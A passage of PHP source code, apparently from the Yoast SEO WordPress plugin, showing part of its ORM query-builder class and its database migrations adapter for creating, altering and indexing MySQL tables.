$parts ); return \implode( '.', $parts ); } /** * Quotes a string that is used as an identifier (table names, column names etc) or an array containing multiple * identifiers. This method can also deal with dot-separated identifiers eg table.column. * * @param string|string[] $identifier One or more identifiers. * * @return string */ protected function quote_identifier( $identifier ) { if ( \is_array( $identifier ) ) { $result = \array_map( [ $this, 'quote_one_identifier' ], $identifier ); return \implode( ', ', $result ); } else { return $this->quote_one_identifier( $identifier ); } } /** * Quotes a single part of an identifier, using the identifier quote character specified in the config * (or autodetected). * * @param string $part The part to quote. * * @return string */ protected function quote_identifier_part( $part ) { if ( $part === '*' ) { return $part; } $quote_character = '`'; // Double up any identifier quotes to escape them. return $quote_character . \str_replace( $quote_character, $quote_character . $quote_character, $part ) . $quote_character; } /** * Executes the SELECT query that has been built up by chaining methods on this class. * Return an array of rows as associative arrays. * * @return array|false The result rows. False if the query failed. */ protected function run() { global $wpdb; $query = $this->build_select(); $success = self::execute( $query, $this->values ); if ( $success === false ) { // If the query fails run the migrations and try again. // Action is intentionally undocumented and should not be used by third-parties. \do_action( '_yoast_run_migrations' ); $success = self::execute( $query, $this->values ); } $this->reset_idiorm_state(); if ( $success === false ) { return false; } $rows = []; foreach ( $wpdb->last_result as $row ) { $rows[] = \get_object_vars( $row ); } return $rows; } /** * Resets the Idiorm instance state. * * @return void */ private function reset_idiorm_state() { $this->values = []; $this->result_columns = [ '*' ]; $this->using_default_result_columns = true; } /** * Returns the raw data wrapped by this ORM instance as an associative array. Column names may optionally be * supplied as arguments, if so, only those keys will be returned. * * @return array Associative array of the raw data. */ public function as_array() { if ( \func_num_args() === 0 ) { return $this->data; } $args = \func_get_args(); return \array_intersect_key( $this->data, \array_flip( $args ) ); } /** * Returns the value of a property of this object (database row) or null if not present. * * If a column-names array is passed, it will return a associative array with the value of each column or null if * it is not present. * * @param string|array $key Key. * * @return array|mixed|null */ public function get( $key ) { if ( \is_array( $key ) ) { $result = []; foreach ( $key as $column ) { $result[ $column ] = ( $this->data[ $column ] ?? null ); } return $result; } else { return ( $this->data[ $key ] ?? null ); } } /** * Returns the name of the column in the database table which contains the primary key ID of the row. * * @return string The primary key ID of the row. */ protected function get_id_column_name() { if ( ! \is_null( $this->instance_id_column ) ) { return $this->instance_id_column; } return 'id'; } /** * Gets the primary key ID of this object. * * @param bool $disallow_null Whether to allow null IDs. * * @return array|mixed|null * * @throws Exception Primary key ID contains null value(s). * @throws Exception Primary key ID missing from row or is null. */ public function id( $disallow_null = false ) { $id = $this->get( $this->get_id_column_name() ); if ( $disallow_null ) { if ( \is_array( $id ) ) { foreach ( $id as $id_part ) { if ( $id_part === null ) { throw new Exception( 'Primary key ID contains null value(s)' ); } } } elseif ( $id === null ) { throw new Exception( 'Primary key ID missing from row or is null' ); } } return $id; } /** * Sets a property to a particular value on this object. * * To set multiple properties at once, pass an associative array as the first parameter and leave out the second * parameter. Flags the properties as 'dirty' so they will be saved to the database when save() is called. * * @param string|array $key Key. * @param string|null $value Value. * * @return ORM */ public function set( $key, $value = null ) { return $this->set_orm_property( $key, $value ); } /** * Set a property to a particular value on this object as expression. * * To set multiple properties at once, pass an associative array as the first parameter and leave out the second * parameter. Flags the properties as 'dirty' so they will be saved to the database when save() is called. * * @param string|array $key Key. * @param string|null $value Value. * * @return ORM */ public function set_expr( $key, $value = null ) { return $this->set_orm_property( $key, $value, true ); } /** * Sets a property on the ORM object. * * @param string|array $key Key. * @param string|null $value Value. * @param bool $expr Expression. * * @return ORM */ protected function set_orm_property( $key, $value = null, $expr = false ) { if ( ! \is_array( $key ) ) { $key = [ $key => $value ]; } foreach ( $key as $field => $value ) { $this->data[ $field ] = $value; $this->dirty_fields[ $field ] = $value; if ( $expr === false && isset( $this->expr_fields[ $field ] ) ) { unset( $this->expr_fields[ $field ] ); } elseif ( $expr === true ) { $this->expr_fields[ $field ] = true; } } return $this; } /** * Checks whether the given field has been changed since this object was saved. * * @param mixed $key Key. * * @return bool */ public function is_dirty( $key ) { return \array_key_exists( $key, $this->dirty_fields ); } /** * Checks whether the model was the result of a call to create() or not. * * @return bool */ public function is_new() { return $this->is_new; } /** * Saves any fields which have been modified on this object to the database. * * @return bool True on success. * * @throws Exception Primary key ID contains null value(s). * @throws Exception Primary key ID missing from row or is null. */ public function save() { global $wpdb; // Remove any expression fields as they are already baked into the query. $values = \array_values( \array_diff_key( $this->dirty_fields, $this->expr_fields ) ); if ( ! $this->is_new ) { // UPDATE. // If there are no dirty values, do nothing. if ( empty( $values ) && empty( $this->expr_fields ) ) { return true; } $query = \implode( ' ', [ $this->build_update(), $this->add_id_column_conditions() ] ); $id = $this->id( true ); if ( \is_array( $id ) ) { $values = \array_merge( $values, \array_values( $id ) ); } else { $values[] = $id; } } else { // INSERT. $query = $this->build_insert(); } $success = self::execute( $query, $values ); // If we've just inserted a new record, set the ID of this object. if ( $this->is_new ) { $this->is_new = false; if ( $this->count_null_id_columns() !== 0 ) { $column = $this->get_id_column_name(); // If the primary key is compound, assign the last inserted id to the first column. if ( \is_array( $column ) ) { $column = \reset( $column ); } // Explicitly cast to int to make dealing with Id's simpler. $this->data[ $column ] = (int) $wpdb->insert_id; } } $this->dirty_fields = []; $this->expr_fields = []; return $success; } /** * Extracts and gathers all dirty column names from the given model instances. * * @param array $models Array of model instances to be inserted. * * @return array The distinct set of columns that are dirty in at least one of the models. * * @throws InvalidArgumentException Instance to be inserted is not a new one. */ public function get_dirty_column_names( $models ) { $dirty_column_names = []; foreach ( $models as $model ) { if ( ! $model->orm->is_new() ) { throw new InvalidArgumentException( 'Instance to be inserted is not a new one' ); } // Remove any expression fields as they are already baked into the query. $dirty_fields = \array_diff_key( $model->orm->dirty_fields, $model->orm->expr_fields ); $dirty_column_names = \array_merge( $dirty_column_names, $dirty_fields ); } $dirty_column_names = \array_keys( $dirty_column_names ); return $dirty_column_names; } /** * Inserts multiple rows in a single query. Expects new rows as it's a strictly insert function, not an update one. * * @example From the Indexable_Link_Builder class: $this->seo_links_repository->query()->insert_many( $links ); * * @param array $models Array of model instances to be inserted. * * @return bool True for successful insert, false for failed. * * @throws InvalidArgumentException Invalid instances to be inserted. * @throws InvalidArgumentException Instance to be inserted is not a new one. */ public function insert_many( $models ) { // Validate the input first. if ( ! \is_array( $models ) ) { throw new InvalidArgumentException( 'Invalid instances to be inserted' ); } if ( empty( $models ) ) { return true; } $success = true; /** * Filter: 'wpseo_chunk_bulked_insert_queries' - Allow filtering the chunk size of each bulked INSERT query. * * @param int $chunk_size The chunk size of the bulked INSERT queries. */ $chunk = \apply_filters( 'wpseo_chunk_bulk_insert_queries', 100 ); $chunk = ! \is_int( $chunk ) ? 100 : $chunk; $chunk = ( $chunk <= 0 ) ? 100 : $chunk; $chunked_models = \array_chunk( $models, $chunk ); foreach ( $chunked_models as $models_chunk ) { $values = []; // First, we'll gather all the dirty fields throughout the models to be inserted. $dirty_column_names = $this->get_dirty_column_names( $models_chunk ); // Now, we're creating all dirty fields throughout the models and // setting them to null if they don't exist in each model. foreach ( $models_chunk as $model ) { $model_values = []; foreach ( $dirty_column_names as $dirty_column ) { // Set the value to null if it hasn't been set already. if ( ! isset( $model->orm->dirty_fields[ $dirty_column ] ) ) { $model->orm->dirty_fields[ $dirty_column ] = null; } // Only register the value if it is not null. if ( ! \is_null( $model->orm->dirty_fields[ $dirty_column ] ) ) { $model_values[] = $model->orm->dirty_fields[ $dirty_column ]; } } $values = \array_merge( $values, $model_values ); } // We now have the same set of dirty columns in all our models and also gathered all values. $query = $this->build_insert_many( $models_chunk, $dirty_column_names ); $success = $success && (bool) self::execute( $query, $values ); } return $success; } /** * Updates many records in the database. * * @return int|bool The number of rows changed if the query was succesful. False otherwise. */ public function update_many() { // Remove any expression fields as they are already baked into the query. $values = \array_values( \array_diff_key( $this->dirty_fields, $this->expr_fields ) ); // UPDATE. // If there are no dirty values, do nothing. if ( empty( $values ) && empty( $this->expr_fields ) ) { return true; } $query = $this->join_if_not_empty( ' ', [ $this->build_update(), $this->build_where() ] ); $success = self::execute( $query, \array_merge( $values, $this->values ) ); $this->dirty_fields = []; $this->expr_fields = []; return $success; } /** * Adds a WHERE clause for every column that belongs to the primary key. * * @return string The where part of the query. */ public function add_id_column_conditions() { $query = []; $query[] = 'WHERE'; $keys = \is_array( $this->get_id_column_name() ) ? $this->get_id_column_name() : [ $this->get_id_column_name() ]; $first = true; foreach ( $keys as $key ) { if ( $first ) { $first = false; } else { $query[] = 'AND'; } $query[] = $this->quote_identifier( $key ); $query[] = '= %s'; } return \implode( ' ', $query ); } /** * Builds an UPDATE query. * * @return string The update query. */ protected function build_update() { $query = []; $query[] = "UPDATE {$this->quote_identifier($this->table_name)} SET"; $field_list = []; foreach ( $this->dirty_fields as $key => $value ) { if ( ! \array_key_exists( $key, $this->expr_fields ) ) { $value = ( $value === null ) ? 'NULL' : '%s'; } $field_list[] = "{$this->quote_identifier($key)} = {$value}"; } $query[] = \implode( ', ', $field_list ); return \implode( ' ', $query ); } /** * Builds an INSERT query. * * @return string The insert query. */ protected function build_insert() { $query = []; $query[] = 'INSERT INTO'; $query[] = $this->quote_identifier( $this->table_name ); $field_list = \array_map( [ $this, 'quote_identifier' ], \array_keys( $this->dirty_fields ) ); $query[] = '(' . \implode( ', ', $field_list ) . ')'; $query[] = 'VALUES'; $placeholders = $this->create_placeholders( $this->dirty_fields ); $query[] = "({$placeholders})"; return \implode( ' ', $query ); } /** * Builds a bulk INSERT query. * * @param array $models Array of model instances to be inserted. * @param array $dirty_column_names Array of dirty fields to be used in INSERT. * * @return string The insert query. */ protected function build_insert_many( $models, $dirty_column_names ) { $example_model = $models[0]; $total_placeholders = ''; $query = []; $query[] = 'INSERT INTO'; $query[] = $this->quote_identifier( $example_model->orm->table_name ); $field_list = \array_map( [ $this, 'quote_identifier' ], $dirty_column_names ); $query[] = '(' . \implode( ', ', $field_list ) . ')'; $query[] = 'VALUES'; // We assign placeholders per model for dirty fields that have values and NULL for dirty fields that don't. foreach ( $models as $model ) { $placeholder = []; foreach ( $dirty_column_names as $dirty_field ) { $placeholder[] = ( $model->orm->dirty_fields[ $dirty_field ] === null ) ? 'NULL' : '%s'; } $placeholders = \implode( ', ', $placeholder ); $total_placeholders .= "({$placeholders}),"; } $query[] = \rtrim( $total_placeholders, ',' ); return \implode( ' ', $query ); } /** * Deletes this record from the database. * * @return string The delete query. * * @throws Exception Primary key ID contains null value(s). * @throws Exception Primary key ID missing from row or is null. */ public function delete() { $query = [ 'DELETE FROM', $this->quote_identifier( $this->table_name ), $this->add_id_column_conditions() ]; return self::execute( \implode( ' ', $query ), \is_array( $this->id( true ) ) ? \array_values( $this->id( true ) ) : [ $this->id( true ) ] ); } /** * Deletes many records from the database. * * @return bool|int Response of wpdb::query. */ public function delete_many() { // Build and return the full DELETE statement by concatenating // the results of calling each separate builder method. $query = $this->join_if_not_empty( ' ', [ 'DELETE FROM', $this->quote_identifier( $this->table_name ), $this->build_where(), ] ); return self::execute( $query, $this->values ); } /* * --- ArrayAccess --- */ /** * Checks whether the data has the key. * * @param mixed $offset Key. * * @return bool Whether the data has the key. */ #[ReturnTypeWillChange] public function offsetExists( $offset ) { return \array_key_exists( $offset, $this->data ); } /** * Retrieves the value of the key. * * @param mixed $offset Key. * * @return array|mixed|null The value. */ #[ReturnTypeWillChange] public function offsetGet( $offset ) { return $this->get( $offset ); } /** * Sets the value of the key. * * @param string|int $offset Key. * @param mixed $value Value. * * @return void */ #[ReturnTypeWillChange] public function offsetSet( $offset, $value ) { if ( \is_null( $offset ) ) { return; } $this->set( $offset, $value ); } /** * Removes the given key from the data. * * @param mixed $offset Key. * * @return void */ #[ReturnTypeWillChange] public function offsetUnset( $offset ) { unset( $this->data[ $offset ] ); unset( $this->dirty_fields[ $offset ] ); } /* * --- MAGIC METHODS --- */ /** * Handles magic get via offset. * * @param mixed $key Key. * * @return array|mixed|null The value in the offset. */ public function __get( $key ) { return $this->offsetGet( $key ); } /** * Handles magic set via offset. * * @param string|int $key Key. * @param mixed $value Value. * * @return void */ public function __set( $key, $value ) { $this->offsetSet( $key, $value ); } /** * Handles magic unset via offset. * * @param mixed $key Key. * * @return void */ public function __unset( $key ) { $this->offsetUnset( $key ); } /** * Handles magic isset via offset. * * @param mixed $key Key. * * @return bool Whether the offset has the key. */ public function __isset( $key ) { return $this->offsetExists( $key ); } } migrations/adapter.php000064400000064761147206761040011076 0ustar00dbname; } /** * Checks support for migrations. * * @return bool */ public function supports_migrations() { return true; } /** * Returns all column native types. * * @return array */ public function native_database_types() { $types = [ 'primary_key' => [ 'name' => 'integer', 'limit' => 11, 'null' => false, ], 'string' => [ 'name' => 'varchar', 'limit' => 255, ], 'text' => [ 'name' => 'text' ], 'tinytext' => [ 'name' => 'tinytext' ], 'mediumtext' => [ 'name' => 'mediumtext' ], 'integer' => [ 'name' => 'int', 'limit' => 11, ], 'tinyinteger' => [ 'name' => 'tinyint' ], 'smallinteger' => [ 'name' => 'smallint' ], 'mediuminteger' => [ 'name' => 'mediumint' ], 'biginteger' => [ 'name' => 'bigint' ], 'float' => [ 'name' => 'float' ], 'decimal' => [ 'name' => 'decimal', 'scale' => 0, 'precision' => 10, ], 'datetime' => [ 'name' => 'datetime' ], 'timestamp' => [ 'name' => 'timestamp' ], 'time' => [ 'name' => 'time' ], 'date' => [ 'name' => 'date' ], 'binary' => [ 'name' => 'blob' ], 'tinybinary' => [ 'name' => 'tinyblob' ], 'mediumbinary' => [ 'name' => 'mediumblob' ], 'longbinary' => [ 'name' => 'longblob' ], 'boolean' => [ 'name' => 'tinyint', 'limit' => 1, ], 'enum' => [ 'name' => 'enum', 'values' => [], ], 'uuid' => [ 'name' => 'char', 'limit' => 36, ], 'char' => [ 'name' => 'char' ], ]; return $types; } /** * Checks if a table exists. * * @param string $table The table name. * * @return bool */ public function has_table( $table ) { return $this->table_exists( $table ); } /** * Allows overriding the hardcoded schema table name constant in case of parallel migrations. * * @return string */ public function get_schema_version_table_name() { return Model::get_table_name( 'migrations' ); } /** * Create the schema table, if necessary. * * @return void */ public function create_schema_version_table() { if ( ! $this->has_table( $this->get_schema_version_table_name() ) ) { $t = $this->create_table( $this->get_schema_version_table_name() ); $t->column( 'version', 'string', [ 'limit' => 191 ] ); $t->finish(); $this->add_index( $this->get_schema_version_table_name(), 'version', [ 'unique' => true ] ); } } /** * Starts a transaction. * * @return void */ public function start_transaction() { if ( $this->in_transaction() === false ) { $this->begin_transaction(); } } /** * Commits a transaction. * * @return void */ public function commit_transaction() { if ( $this->in_transaction() ) { $this->commit(); } } /** * Rollbacks a transaction. * * @return void */ public function rollback_transaction() { if ( $this->in_transaction() ) { $this->rollback(); } } /** * Quotes a table name string. * * @param string $text Table name. * * @return string */ public function quote_table( $text ) { return '`' . $text . '`'; } /** * Return the SQL definition of a column. * * @param string $column_name The column name. * @param string $type The type of the column. * @param array|null $options Column options. * * @return string */ public function column_definition( $column_name, $type, $options = null ) { $col = new Column( $this, $column_name, $type, $options ); return $col->__toString(); } /** * Checks if a database exists. * * @param string $database The database name. * * @return bool */ public function database_exists( $database ) { $ddl = 'SHOW DATABASES'; $result = $this->select_all( $ddl ); if ( \count( $result ) === 0 ) { return false; } foreach ( $result as $dbrow ) { if ( $dbrow['Database'] === $database ) { return true; } } return false; } /** * Creates a database. * * @param string $db The database name. * * @return bool */ public function create_database( $db ) { if ( $this->database_exists( $db ) ) { return false; } $ddl = \sprintf( 'CREATE DATABASE %s', $this->identifier( $db ) ); $result = $this->query( $ddl ); return $result === true; } /** * Drops a database. * * @param string $db The database name. * * @return bool */ public function drop_database( $db ) { if ( ! $this->database_exists( $db ) ) { return false; } $ddl = \sprintf( 'DROP DATABASE IF EXISTS %s', $this->identifier( $db ) ); $result = $this->query( $ddl ); return $result === true; } /** * Checks if a table exists. * * @param string $table The table name. * * @return bool */ public function table_exists( $table ) { global $wpdb; // We need last error to be clear so we can check against it easily. $previous_last_error = $wpdb->last_error; $previous_suppress_errors = $wpdb->suppress_errors; $wpdb->last_error = ''; $wpdb->suppress_errors = true; $result = $wpdb->query( "SELECT * FROM $table LIMIT 1" ); // Restore the last error, as this is not truly an error and we don't want to alarm people. $wpdb->last_error = $previous_last_error; $wpdb->suppress_errors = $previous_suppress_errors; return $result !== false; } /** * Wrapper to execute a query. * * @param string $query The query to run. * * @return bool */ public function execute( $query ) { return $this->query( $query ); } /** * Executes a query. * * @param string $query The query to run. * * @return bool Whether or not the query was performed succesfully. */ public function query( $query ) { global $wpdb; $query_type = $this->determine_query_type( $query ); $data = []; if ( $query_type === Constants::SQL_SELECT || $query_type === Constants::SQL_SHOW ) { $data = $wpdb->get_results( $query, \ARRAY_A ); if ( $data === false ) { return false; } return $data; } else { // INSERT, DELETE, etc... $result = $wpdb->query( $query ); if ( $result === false ) { return false; } if ( $query_type === Constants::SQL_INSERT ) { return $wpdb->insert_id; } return true; } } /** * Returns a single result for a query. * * @param string $query The query to run. * * @return array|false An associative array of the result. */ public function select_one( $query ) { global $wpdb; $query_type = $this->determine_query_type( $query ); if ( $query_type === Constants::SQL_SELECT || $query_type === Constants::SQL_SHOW ) { $result = $wpdb->query( $query ); if ( $result === false ) { return false; } return $wpdb->last_result[0]; } return false; } /** * Returns all results for a query. * * @param string $query The query to run. * * @return array An array of associative arrays. */ public function select_all( $query ) { return $this->query( $query ); } /** * Use this method for non-SELECT queries. * Or anything where you dont necessarily expect a result string, e.g. DROPs, CREATEs, etc. * * @param string $ddl The query to run. * * @return bool */ public function execute_ddl( $ddl ) { return $this->query( $ddl ); } /** * Drops a table * * @param string $table The table name. * * @return bool Whether or not the table was succesfully dropped. */ public function drop_table( $table ) { $ddl = \sprintf( 'DROP TABLE IF EXISTS %s', $this->identifier( $table ) ); return $this->query( $ddl ); } /** * Creates a table. * * @param string $table_name The table name. * @param array $options The options. * * @return Table */ public function create_table( $table_name, $options = [] ) { return new Table( $this, $table_name, $options ); } /** * Escapes a string for usage in queries. * * @param string $text The string. * * @return string */ public function quote_string( $text ) { global $wpdb; return $wpdb->_escape( $text ); } /** * Returns a quoted string. * * @param string $text The string. * * @return string */ public function identifier( $text ) { return '`' . $text . '`'; } /** * Renames a table. * * @param string $name The current table name. * @param string $new_name The new table name. * * @return bool */ public function rename_table( $name, $new_name ) { if ( empty( $name ) || empty( $new_name ) ) { return false; } $sql = \sprintf( 'RENAME TABLE %s TO %s', $this->identifier( $name ), $this->identifier( $new_name ) ); return $this->execute_ddl( $sql ); } /** * Adds a column. * * @param string $table_name The table name. * @param string $column_name The column name. * @param string $type The column type. * @param array $options Column options. * * @return bool */ public function add_column( $table_name, $column_name, $type, $options = [] ) { if ( empty( $table_name ) || empty( $column_name ) || empty( $type ) ) { return false; } // Default types. if ( ! \array_key_exists( 'limit', $options ) ) { $options['limit'] = null; } if ( ! \array_key_exists( 'precision', $options ) ) { $options['precision'] = null; } if ( ! \array_key_exists( 'scale', $options ) ) { $options['scale'] = null; } $sql = \sprintf( 'ALTER TABLE %s ADD `%s` %s', $this->identifier( $table_name ), $column_name, $this->type_to_sql( $type, $options ) ); $sql .= $this->add_column_options( $type, $options ); return $this->execute_ddl( $sql ); } /** * Drops a column. * * @param string $table_name The table name. * @param string $column_name The column name. * * @return bool */ public function remove_column( $table_name, $column_name ) { $sql = \sprintf( 'ALTER TABLE %s DROP COLUMN %s', $this->identifier( $table_name ), $this->identifier( $column_name ) ); return $this->execute_ddl( $sql ); } /** * Renames a column. * * @param string $table_name The table name. * @param string $column_name The column name. * @param string $new_column_name The new column name. * * @return bool */ public function rename_column( $table_name, $column_name, $new_column_name ) { if ( empty( $table_name ) || empty( $column_name ) || empty( $new_column_name ) ) { return false; } $column_info = $this->column_info( $table_name, $column_name ); $current_type = $column_info['type']; $sql = \sprintf( 'ALTER TABLE %s CHANGE %s %s %s', $this->identifier( $table_name ), $this->identifier( $column_name ), $this->identifier( $new_column_name ), $current_type ); $sql .= $this->add_column_options( $current_type, $column_info ); return $this->execute_ddl( $sql ); } /** * Changes a column. * * @param string $table_name The table name. * @param string $column_name The column name. * @param string $type The column type. * @param array $options Column options. * * @return bool */ public function change_column( $table_name, $column_name, $type, $options = [] ) { if ( empty( $table_name ) || empty( $column_name ) || empty( $type ) ) { return false; } $column_info = $this->column_info( $table_name, $column_name ); // Default types. if ( ! \array_key_exists( 'limit', $options ) ) { $options['limit'] = null; } if ( ! \array_key_exists( 'precision', $options ) ) { $options['precision'] = null; } if ( ! \array_key_exists( 'scale', $options ) ) { $options['scale'] = null; } $sql = \sprintf( 'ALTER TABLE `%s` CHANGE `%s` `%s` %s', $table_name, $column_name, $column_name, $this->type_to_sql( $type, $options ) ); $sql .= $this->add_column_options( $type, $options ); return $this->execute_ddl( $sql ); } /** * Returns the database information for a column. * * @param string $table The table name. * @param string $column The column name. * * @return array|null */ public function column_info( $table, $column ) { if ( empty( $table ) || empty( $column ) ) { return null; } try { $sql = \sprintf( "SHOW FULL COLUMNS FROM %s LIKE '%s'", $this->identifier( $table ), $column ); $result = $this->select_one( $sql ); if ( \is_array( $result ) ) { $result = \array_change_key_case( $result, \CASE_LOWER ); } return $result; } catch ( Exception $e ) { return null; } } /** * Adds an index. * * @param string $table_name The table name. * @param array|string $column_name The column name(s). * @param array $options Index options. * * @return bool */ public function add_index( $table_name, $column_name, $options = [] ) { if ( empty( $table_name ) || empty( $column_name ) ) { return false; } // Unique index? if ( \is_array( $options ) && \array_key_exists( 'unique', $options ) && $options['unique'] === true ) { $unique = true; } else { $unique = false; } // Did the user specify an index name? if ( \is_array( $options ) && \array_key_exists( 'name', $options ) ) { $index_name = $options['name']; } else { $index_name = $this->get_index_name( $table_name, $column_name ); } if ( \strlen( $index_name ) > Constants::MYSQL_MAX_IDENTIFIER_LENGTH ) { return false; } if ( ! \is_array( $column_name ) ) { $column_names = [ $column_name ]; } else { $column_names = $column_name; } $cols = []; foreach ( $column_names as $name ) { $cols[] = $this->identifier( $name ); } $sql = \sprintf( 'CREATE %sINDEX %s ON %s(%s)', ( $unique === true ) ? 'UNIQUE ' : '', $this->identifier( $index_name ), $this->identifier( $table_name ), \implode( ', ', $cols ) ); return $this->execute_ddl( $sql ); } /** * Drops an index. * * @param string $table_name The table name. * @param array|string $column_name The column name(s). * @param array $options Index options. * * @return bool */ public function remove_index( $table_name, $column_name, $options = [] ) { if ( empty( $table_name ) || empty( $column_name ) ) { return false; } // Did the user specify an index name? if ( \is_array( $options ) && \array_key_exists( 'name', $options ) ) { $index_name = $options['name']; } else { $index_name = $this->get_index_name( $table_name, $column_name ); } $sql = \sprintf( 'DROP INDEX %s ON %s', $this->identifier( $index_name ), $this->identifier( $table_name ) ); return $this->execute_ddl( $sql ); } /** * Adds timestamps. * * @param string $table_name The table name. * @param string $created_column_name Created at column name. * @param string $updated_column_name Updated at column name. * * @return bool */ public function add_timestamps( $table_name, $created_column_name, $updated_column_name ) { if ( empty( $table_name ) || empty( $created_column_name ) || empty( $updated_column_name ) ) { return false; } $created_at = $this->add_column( $table_name, $created_column_name, 'datetime' ); $updated_at = $this->add_column( $table_name, $updated_column_name, 'timestamp', [ 'null' => false, 'default' => 'CURRENT_TIMESTAMP', 'extra' => 'ON UPDATE CURRENT_TIMESTAMP', ] ); return $created_at && $updated_at; } /** * Removes timestamps. * * @param string $table_name The table name. * @param string $created_column_name Created at column name. * @param string $updated_column_name Updated at column name. * * @return bool Whether or not the timestamps were removed. */ public function remove_timestamps( $table_name, $created_column_name, $updated_column_name ) { if ( empty( $table_name ) || empty( $created_column_name ) || empty( $updated_column_name ) ) { return false; } $updated_at = $this->remove_column( $table_name, $created_column_name ); $created_at = $this->remove_column( $table_name, $updated_column_name ); return $created_at && $updated_at; } /** * Checks an index. * * @param string $table_name The table name. * @param array|string $column_name The column name(s). * @param array $options Index options. * * @return bool Whether or not the index exists. */ public function has_index( $table_name, $column_name, $options = [] ) { if ( empty( $table_name ) || empty( $column_name ) ) { return false; } // Did the user specify an index name? if ( \is_array( $options ) && \array_key_exists( 'name', $options ) ) { $index_name = $options['name']; } else { $index_name = $this->get_index_name( $table_name, $column_name ); } $indexes = $this->indexes( $table_name ); foreach ( $indexes as $idx ) { if ( $idx['name'] === $index_name ) { return true; } } return false; } /** * Returns all indexes of a table. * * @param string $table_name The table name. * * @return array */ public function indexes( $table_name ) { $sql = \sprintf( 'SHOW KEYS FROM %s', $this->identifier( $table_name ) ); $result = $this->select_all( $sql ); $indexes = []; foreach ( $result as $row ) { // Skip primary. if ( $row['Key_name'] === 'PRIMARY' ) { continue; } $indexes[] = [ 'name' => $row['Key_name'], 'unique' => (int) $row['Non_unique'] === 0, ]; } return $indexes; } /** * Converts a type to sql. Default options: * $limit = null, $precision = null, $scale = null * * @param string $type The native type. * @param array $options The options. * * @return string The SQL type. * * @throws Exception If invalid arguments are supplied. */ public function type_to_sql( $type, $options = [] ) { $natives = $this->native_database_types(); if ( ! \array_key_exists( $type, $natives ) ) { $error = \sprintf( "Error:I dont know what column type of '%s' maps to for MySQL.", $type ); $error .= "\nYou provided: {$type}\n"; $error .= "Valid types are: \n"; $types = \array_keys( $natives ); foreach ( $types as $t ) { if ( $t === 'primary_key' ) { continue; } $error .= "\t{$t}\n"; } throw new Exception( $error ); } $scale = null; $precision = null; $limit = null; if ( isset( $options['precision'] ) ) { $precision = $options['precision']; } if ( isset( $options['scale'] ) ) { $scale = $options['scale']; } if ( isset( $options['limit'] ) ) { $limit = $options['limit']; } if ( isset( $options['values'] ) ) { $values = $options['values']; } $native_type = $natives[ $type ]; if ( \is_array( $native_type ) && \array_key_exists( 'name', $native_type ) ) { $column_type_sql = $native_type['name']; } else { return $native_type; } if ( $type === 'decimal' || $type === 'float' ) { // Ignore limit, use precison and scale. if ( $precision === null && \array_key_exists( 'precision', $native_type ) ) { $precision = $native_type['precision']; } if ( $scale === null && \array_key_exists( 'scale', $native_type ) ) { $scale = $native_type['scale']; } if ( $precision !== null ) { if ( \is_int( $scale ) ) { $column_type_sql .= \sprintf( '(%d, %d)', $precision, $scale ); } else { $column_type_sql .= \sprintf( '(%d)', $precision ); } } elseif ( $scale ) { throw new Exception( "Error adding $type column: precision cannot be empty if scale is specified" ); } } elseif ( $type === 'enum' ) { if ( empty( $values ) ) { throw new Exception( 'Error adding enum column: there must be at least one value defined' ); } else { $column_type_sql .= \sprintf( "('%s')", \implode( "','", \array_map( [ $this, 'quote_string' ], $values ) ) ); } } // Not a decimal column. if ( $limit === null && \array_key_exists( 'limit', $native_type ) ) { $limit = $native_type['limit']; } if ( $limit ) { $column_type_sql .= \sprintf( '(%d)', $limit ); } return $column_type_sql; } /** * Adds column options. * * @param string $type The native type. * @param array $options The options. * * @return string The SQL statement for the column options. * * @throws Exception If invalid arguments are supplied. */ public function add_column_options( $type, $options ) { $sql = ''; if ( ! \is_array( $options ) ) { return $sql; } if ( \array_key_exists( 'unsigned', $options ) && $options['unsigned'] === true ) { $sql .= ' UNSIGNED'; } if ( \array_key_exists( 'character', $options ) ) { $sql .= \sprintf( ' CHARACTER SET %s', $this->identifier( $options['character'] ) ); } if ( \array_key_exists( 'collate', $options ) ) { $sql .= \sprintf( ' COLLATE %s', $this->identifier( $options['collate'] ) ); } if ( \array_key_exists( 'auto_increment', $options ) && $options['auto_increment'] === true ) { $sql .= ' auto_increment'; } if ( \array_key_exists( 'default', $options ) && $options['default'] !== null ) { if ( $this->is_sql_method_call( $options['default'] ) ) { throw new Exception( 'MySQL does not support function calls as default values, constants only.' ); } if ( \is_int( $options['default'] ) ) { $default_format = '%d'; } elseif ( \is_bool( $options['default'] ) ) { $default_format = "'%d'"; } elseif ( $options['default'] === 'CURRENT_TIMESTAMP' ) { $default_format = '%s'; } else { $default_format = "'%s'"; } $default_value = \sprintf( $default_format, $options['default'] ); $sql .= \sprintf( ' DEFAULT %s', $default_value ); } if ( \array_key_exists( 'null', $options ) ) { if ( $options['null'] === false || $options['null'] === 'NO' ) { $sql .= ' NOT NULL'; } elseif ( $type === 'timestamp' ) { $sql .= ' NULL'; } } if ( \array_key_exists( 'comment', $options ) ) { $sql .= \sprintf( " COMMENT '%s'", $this->quote_string( $options['comment'] ) ); } if ( \array_key_exists( 'extra', $options ) ) { $sql .= \sprintf( ' %s', $this->quote_string( $options['extra'] ) ); } if ( \array_key_exists( 'after', $options ) ) { $sql .= \sprintf( ' AFTER %s', $this->identifier( $options['after'] ) ); } return $sql; } /** * Returns a list of all versions that have been migrated. * * @return string[] The version numbers that have been migrated. */ public function get_migrated_versions() { $result = $this->select_all( \sprintf( 'SELECT version FROM %s', $this->get_schema_version_table_name() ) ); return \array_column( $result, 'version' ); } /** * Adds a migrated version. * * @param string $version The version. * * @return bool Whether or not the version was succesfully set. */ public function add_version( $version ) { $sql = \sprintf( "INSERT INTO %s (version) VALUES ('%s')", $this->get_schema_version_table_name(), $version ); return $this->execute_ddl( $sql ); } /** * Removes a migrated version. * * @param string $version The version. * * @return bool Whether or not the version was succesfully removed. */ public function remove_version( $version ) { $sql = \sprintf( "DELETE FROM %s WHERE version = '%s'", $this->get_schema_version_table_name(), $version ); return $this->execute_ddl( $sql ); } /** * Returns a message displaying the current version * * @return string */ public function __toString() { return self::class . ', version ' . $this->version; } /** * Returns an index name. * * @param string $table_name The table name. * @param string $column_name The column name. * * @return string The index name. */ private function get_index_name( $table_name, $column_name ) { $name = \preg_replace( '/\\W/', '_', $table_name ); $name = \preg_replace( '/\\_{2,}/', '_', $name ); // If the column parameter is an array then the user wants to create a multi-column index. if ( \is_array( $column_name ) ) { $column_str = \implode( '_and_', $column_name ); } else { $column_str = $column_name; } $name .= \sprintf( '_%s', $column_str ); return $name; } /** * Returns the type of a query. * * @param string $query The query to run. * * @return int The query type. */ private function determine_query_type( $query ) { $query = 